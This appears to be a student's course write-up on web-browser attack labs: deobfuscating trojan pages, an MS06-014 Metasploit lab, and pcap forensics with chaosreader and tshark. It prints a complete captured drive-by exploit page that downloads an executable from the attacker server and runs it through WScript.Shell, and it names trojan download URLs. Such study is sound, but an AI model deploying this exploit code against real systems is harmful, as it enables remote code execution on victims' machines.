这个程序要对IE、注册表、服务和系统文件动点手脚(证据:"advapi32.dll","drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"),"Kernel32.dll","SOFTWARE\Borland\Delphi\RTL","ChangeServiceConfig2A","ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W")
这个程序有一定的防系统保护软件的能力
这个程序要下载一堆木马,有20条形如http://down.18dd.net/kl/**.exe
的字符串
试述你是如何一步步地从所给的网页中获取最后的真实代码的?
网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
-
网页加密方法:
www.cha88.cn
-
aa/ kI.htm
(dispatcher页面)-
十六进制编码
-
t= utf8to16(xxtea_ decrypt( base64decode(t),'\x73\x63\x72\x69\x70\x74'));
-
Base64编码, xxtea加密(密钥:script), UTF16to8编码
-
-
1.js(MS06-014网马)
- 十六进制编码
-
b.js (暴风影音网马)
- 老外写的js加解密工具?
-
pps.js (PPStream网马)
- 八进制编码
从解密后的结果来看,攻击者利用了那些系统漏洞?
dispatcher页面链接了4个网马:
-
MS06-014网马
-
攻击MS06-014安全漏洞
-
MDAC RDS.Dataspace ActiveX控件远程代码执行漏洞
-
-
暴风影音网马
-
攻击CVE-2007-4816安全漏洞
-
暴风影音2mps.dII组件多个缓冲区溢出漏洞
-
-
PPStream网马
-
攻击CVE-2007-4748安全漏洞
-
PPStream堆栈溢出
-
-
百度搜霸网马
-
攻击CVE-2007-4105安全漏洞
-
百度搜霸ActiveX控件远程代码执行漏洞
-
解密后发现了多少个可执行文件?其作用是什么?
4个:014.exe,bf.exe,pps.exe,bd.exe。
这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?(举例分析)
……
攻防对抗实践: Web浏览器渗透攻击攻防对抗
攻击方使用Metasploit构造出攻击至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理后组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态,并分析出这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
首先选择实验1中的MS06_014
漏洞,重复先前步骤,在攻击前打开wireshark监听
执行攻击
此时wireshark里只有这两条
获取恶意网站链接http://192.168.200.2:8080/rTsNcFYzPR
,在靶机打开网站
zaRUGegymPCgSKBUSpqCyDtOZtokg
返回攻击机的wireshark,观察从靶机发送给攻击机的信息
追踪TCP流,发现一串很长很长的代码。笨拙地使用Word处理………………
首先根据开头的<html>
标签,寻找结束标签</html>
,然后把之后的内容都删除
文本中存在很多无意义的空行,有的连续空了好几行那种……上网搜了去除多余空行的方法:
多点击几次替换就可以了
最终空行是没了
然后怎么弄得再直观一点…我也不会操作…就是手动了…………………………32页啊………………
GET/rTsNcFYzPRHTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
Accept-Language:zh-cn
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/4.0(compatible;MSIE5.01;WindowsNT5.0)
Host:192.168.200.2:8080
Connection:Keep-Alive
HTTP/1.1200OK
Content-Type:text/html
Connection:Keep-Alive
Server:Apache
Content-Length:40081
<html><head><title></title>
<scriptlanguage="javascript">
function cUuEyTfy(o,n){
var r = null;
try{
eval("r=o+.CreateObject(n)")
}catch(e){}
if(!r){
try{
eval("r=o.CreateObject(n,'')")
}catch(e){}
}
if(!r){
try{
eval("r=o.CreateObject(n,'','')")
}catch(e){}
}
if(!r){
try{
eval("r=o.GetObject('',n)")
}catch(e){}
}
if(!r){
try{
eval("r=o.GetObject(n,'')")
}catch(e){}
}
if(!r){
try{
eval("r=o.GetObject(n)")
}catch(e){}
}
return(r);
}
function JqtnSxgCzrmE(a){
var s=cUuEyTfy(a,"WScript.Shell");
var o=cUuEyTfy(a,"ADODB.Stream");
var e=s.Environment("Process");
var url=document.location+'/payload';
var xml=null;
var bin=e.Item("TEMP")+"\\QavDQCFgnEyPBrYhQiUGB.exe";
var dat;
try{
xml=new
XMLHttpRequest();
}
catch(e){
try{
xml=new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e){
xml=new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xml){
return(0);
}
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;
o.Type=1;
o.Mode=3;
o.Open();
o.Write(dat);
o.SaveToFile(bin,2);
s.Run(bin,0);
}
function tsoBepmzmTQVTVZgeTmbAKdTnSMahi(){
var i=0;
var t=new Array(
'{BD96C556-65A3-11D0-983A-00C04FC29E36}',
'{B'
+
'D'
+
'9'
+
'6'
+
'C'
+
'5'
+
'5'
+
'6'
+
'-'
+
'6'
+
'5'
+
'A'
+
'3'
+
'-'
+
'1'
+
'1'
+
'D'
+
'0'
+'-'
+
'9'
+
'8'
+
'3'
+
'A'
+
'-'
+
'0'
+
'0'
+
'C'
+
'0'
+
'4'
+
'F'
+
'C'
+
'2'
+
'9'
+
'E'
+
'3'
+
'0'
+
'}'
,
'{'
+
'7'
+
'F'
+
'5'
+
'B'
+
'7'
+
'F'
+
'6'
+
'3'
+
'-'
+
'F'
+
'0'
+
'6'+
'F'
+
'-'
+
'4'
+
'3'
+
'3'
+
'1'
+
'-'
+
'8'
+
'A'
+
'2'
+
'6'
+
'-'
+
'3'
+
'3'
+
'9'
+
'E'
+
'0'
+
'3'
+
'C'
+
'0'
+
'A'
+
'E'
+
'3'
+
'D'
+
'}'
,
'{'
+
'6'
+
'e'
+
'3'
+
'2'
+
'0'
+
'7'
+
'0'
+
'a'
+
'-'
+
'7'
+
'6'
+
'6'
+
'd'
+
'-'
+
'4'
+
'e'
+
'e'
+
'6'
+
'-'
+
'8'
+
'7'
+
'9'
+
'c'
+
'-'
+
'd'
+
'c'
+
'1'
+
'f'
+
'a'
+
'9'
+
'1'
+
'd'
+
'2'
+
'f'
+
'c'
+
'3'
+
'}'
,
'{'
+
'6'
+
'4'
+
'1'
+
'4'
+
'5'
+
'1'
+
'2'
+
'B'
+
'-'
+
'B'
+
'9'
+
'7'
+
'8'
+
'-'
+
'4'
+
'5'
+
'1'
+
'D'
+
'-'
+
'A'
+
'0'
+
'D'
+
'8'
+
'-'
+
'F'
+
'C'
+
'F'
+
'D'
+
'F'
+
'3'
+
'3'
+
'E'
+
'8'
+
'3'
+
'3'
+
'C'
+
'}'
,
'{'
+
'0'
+
'6'
+
'7'
+
'2'
+
'3'
+
'E'
+
'0'
+
'9'
+
'-'
+
'F'
+
'4'
+
'C'
+
'2'
+
'-'
+
'4'
+
'3'
+
'c'
+
'8'
+
'-'
+
'8'
+
'3'
+
'5'
+
'8'
+
'-'
+
'0'
+
'9'
+
'F'
+
'C'
+
'D'
+
'1'
+
'D'
+
'B'
+
'0'
+
'7'
+
'6'
+
'6'
+
'}'
,
'{'
+
'6'
+
'3'
+
'9'
+
'F'
+
'7'
+
'2'
+
'5'
+
'F'
+
'-'
+
'1'
+
'B'
+
'2'
+
'D'
+
'-'
+
'4'
+
'8'
+
'3'
+
'1'
+
'-'
+
'A'
+
'9'
+
'F'
+
'D'
+
'-'
+
'8'
+
'7'
+
'4'
+
'8'
+
'4'
+
'7'
+
'6'+
'8'
+
'2'
+
'0'
+
'1'
+
'0'
+
'}'
,
'{'
+
'B'
+
'A'
+
'0'
+
'1'
+
'8'
+
'5'
+
'9'
+
'9'
+
'-'
+
'1'
+
'D'
+
'B'
+
'3'
+
'-'
+
'4'
+
'4'
+
'f'
+
'9'
+
'-'
+
'8'
+
'3'
+
'B'
+
'4'
+
'-'
+
'4'
+
'6'
+
'1'
+
'4'
+
'5'
+
'4'
+
'C'
+
'8'
+
'4'
+
'B'
+
'F'
+
'8'
+
'}'
,
'{'
+
'D'
+
'0'
+
'C'
+
'0'
+
'7'
+
'D'
+
'5'
+
'6'
+
'-'
+
'7'
+
'C'
+
'6'
+
'9'
+
'-'
+
'4'
+
'3'
+
'F'
+
'1'
+
'-'
+
'B'
+
'4'
+
'A'
+
'0'
+
'-'
+
'2'
+
'5'
+
'F'
+
'5'
+
'A'
+
'1'
+
'1'
+
'F'
+
'A'
+
'B'
+
'1'
+
'9'
+
'}'
,
'{'
+
'E'
+
'8'
+
'C'
+
'C'
+
'C'
+
'D'
+
'D'
+
'F'
+
'-'
+
'C'
+
'A'
+
'2'
+
'8'
+
'-'+
'4'
+
'9'
+
'6'
+
'b'
+
'-'
+
'B'
+
'0'
+
'5'
+
'0'
+
'-'
+
'6'
+
'C'
+
'0'
+
'7'
+
'C'
+
'9'
+
'6'
+
'2'
+
'4'
+
'7'
+
'6'
+
'B'
+
'}'
,
'{'
+
'A'
+
'B'
+
'9'
+
'B'
+
'C'
+
'E'
+
'D'
+
'D'
+
'-'
+
'E'
+
'C'
+
'7'
+
'E'
+
'-'
+
'4'
+
'7'
+
'E'
+
'1'
+
'-'
+
'9'+
'3'
+
'2'
+
'2'
+
'-'
+
'D'
+
'4'
+
'A'
+
'2'
+
'1'
+
'0'
+
'6'
+
'1'
+
'7'
+
'1'
+
'1'
+
'6'
+
'}'
,
'{'
+
'0'
+
'0'
+
'0'
+
'6'
+
'F'
+
'0'
+
'3'
+
'3'
+
'-'
+
'0'
+
'0'
+
'0'
+
'0'
+
'-'
+
'0'
+
'0'
+
'0'
+
'0'
+
'-'
+
'C'
+
'0'
+
'0'
+
'0'
+
'-'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'4'
+
'6'
+
'}'
,
'{'
+
'0'
+
'0'
+
'0'
+
'6'
+
'F'
+
'0'+
'3'
+
'A'
+
'-'
+
'0'
+
'0'
+
'0'
+
'0'
+
'-'
+
'0'
+
'0'
+
'0'
+
'0'
+
'-'
+
'C'
+
'0'
+
'0'
+
'0'
+
'-'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'0'
+
'4'
+
'6'
+
'}'
,
null
);
while
(t[i])
{
var
a
=
null;
if
(t[i].substring(0,1)
==
'{')
{
a
=
document.createElement("object");
a.setAttribute("cl"
+
"as"
+"sid",
"cl"
+
"s"
+
"id"
+":"
+
t[i].substring(
1,
t[i].length
-1
)
)
;
}
else
{
try
{
a
=
new
ActiveXObject(t[i]);
}
catch(e){}
}
if
(a)
{
try
{
var
b
=
cUuEyTfy(
a
,
"W"
+
"Sc"
+
"ri"
+
"pt"
+
".S"
+
"he"
+
"ll"
)
;
if
(b)
{
JqtnSxgCzrmE(
a
)
;
return(0);
}
}
catch(e){
}
}
i++;
}
}
</script>
</head>
<bodyonload='tsoBepmzmTQVTVZgeTmbAKdTnSMahi()'>
zaRUGegymPCgSKBUSpqCyDtOZtokg
</body>
</html>
手动处理不下去了!!!找了好多自称能够美化js代码的网站也没用,凑合着看吧QAQ |
搜索那好几行不知道干啥的字母数字混合段BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
发现与网页木马有关
发现与MS06-014漏洞有关JS.Psyme.vg.5622
取证分析挑战实践: Web 浏览器遭遇攻击
通过分析以下给出的网络记录pcap文件(suspicious- time. peap Shal: 1fl0c8a4996fafa80d47202881a17796941fd337),回答以下问题并撰写实践分析报告。
列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?
列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
请给出攻击者执行攻击动作的概要描述。
攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript脚本内容,并对它们进行解码或解密。
攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
Shellcode 执行了哪些动作?请列出Shellcode的MD5,并比较它们之间的差异?
在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?
安装协议分析软件chaosreader:教程
下载 chaosreader,sudo wget https://github.com/brendangregg/Chaosreader/archive/master.zip
mv master.zip chaosreader.zip
unzip chaosreader.zip
还原文件
root@kali:~# cd Chaosreader-master
root@kali:~/Chaosreader-master# ls
sudo apt install chaosreader
下载文件suspicious-time.pcap
复制到kali
用chaosreader读取文件chaosreader suspicious-time.pcap
发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,只有HTTP有攻击的嫌疑
列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
使用指令选取之前生成的.http.html文件读取,筛选主机并列出来
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort
从结果可以看出
rapidshare.com.eyu32.ru 对应192.168.56.50
sploitme.com.cn对应192.168.56.50
shop.honeynet.sg对应192.168.56.51
使用命令tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'
尽管IP地址和MAC地址不同,但计算机名称(看起来像Windows在安装时生成的随机文件-从未更改)和工作组相同。 这4台计算机必须相同,或实际上是克隆的,但必须具有4个网卡,每个网卡都必须彼此激活/停用。所以设置是在VM中。 (2个VM,1个Win(4个NAT卡),1个Linux(1个NAT,3个仅主机))
服务:10.0.2.2
,10.0.3.2
,10.0.4.2
,10.0.5.2
(DHCP 服务和网关),192.168.1.1
(DNS 服务)。
受害者:10.0.2.15
,10.0.3.15
,10.0.4.15
,10.0.5.15
。
模拟被侵入主机:192.168.56.50
( “rapidshare.com.eyu32.ru”)、192.168.56.51
(“shop.honeynet.sg”)。
攻击者:192.168.56.52
( “sploitme.com.cn”)。
用wireshark打开suspicious-time.pcap
使用NBNS
进行过滤
通过netbios显示出的主机名和工作组,可以看到绝大多数主机都是一样的,所以同样可以猜测这些主机都是配置在虚拟机下面的。
列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
通过Wireshark可以查看所有的访问的Web界面,发现生成了许多html文件。
在文件夹下找到session_0006.part_01.html
,右键使用浏览器访问
这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php
接下来找sploitme.com.cn,对应文件session_0007.part_02.html
,发现页面NotFound
接着找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html
请给出攻击者执行攻击动作的概要描述。
攻击者在主页中加入一个隐藏的<iframe></iframe>
框架,并在框架中插入代码sploitme.com.cn/?click=X
当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X
,该页面通过302 FOUND标头重定向到伪造的404页面。
然后在该页面中,检查用户代理字符串,着陆点和其他参数,并show.php
发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。
如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X
的文件。
攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript脚本内容,并对它们进行解码或解密
右键网页,查看源代码
发现恶意网页伪装成了404页面
攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
对142号数据包追踪TCP流,查看攻击者192.168.56.52
发送给受害者10.0.3.15
的数据
可以查看到主要攻击目标是IE浏览器漏洞
说明含有ActiveX组件漏洞,这是ActiveX漏洞的相关攻击过程
Shellcode 执行了哪些动作?请列出Shellcode的MD5,并比较它们之间的差异?
在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
是有恶意软件的参与的,它们的目的是通过Internet Explorer加载www.honeynet.org
。
遇到的问题
-
问题1:实验一里,网上啥的都说要用
sessions -i + 序列号
控制会话进行交互,进入目标的shell中。但我没加-i
就进来了……所以这个-i
是干啥的?“ID”的意思吗? -
问题2:八进制ASCII码如何转化为字符这问题,我没有搜寻到在线转换网站。想着把八进制先变成十六进制,然后十六进制变字符就可以了。但是搜到的进制转换的网站都是单个(较短)数字的转换,比如100啊这样,而不能满足实验中好多八进制数字转换的需求。
-
问题3:好难鸭,委屈吧唧。
思考感悟
课本学习进行到了最后一章,某种意义上这应该是最后一次博客作业了,感觉如释重负……从上这门课开始,每次周三周四就开始焦虑。初期还失眠了颇久,这次也做了好几天,极度焦虑QAQ。不过俱往矣!!
这次作业感觉前所未有的困难QAQ。实验二、四基本是看着实验指导书、又在网上找了形形色色的资料参考着做的,里面一些网站啥的也打不开,有的解密的网站找了替代的,找不了或者找不到替代网站的就搬运了网上的内容来博客。美化js代码那里也是眼睛颇累。
参考资料
此为本人网络攻防学习第十二周的内容,如有不足,还请批评指正,不胜感激。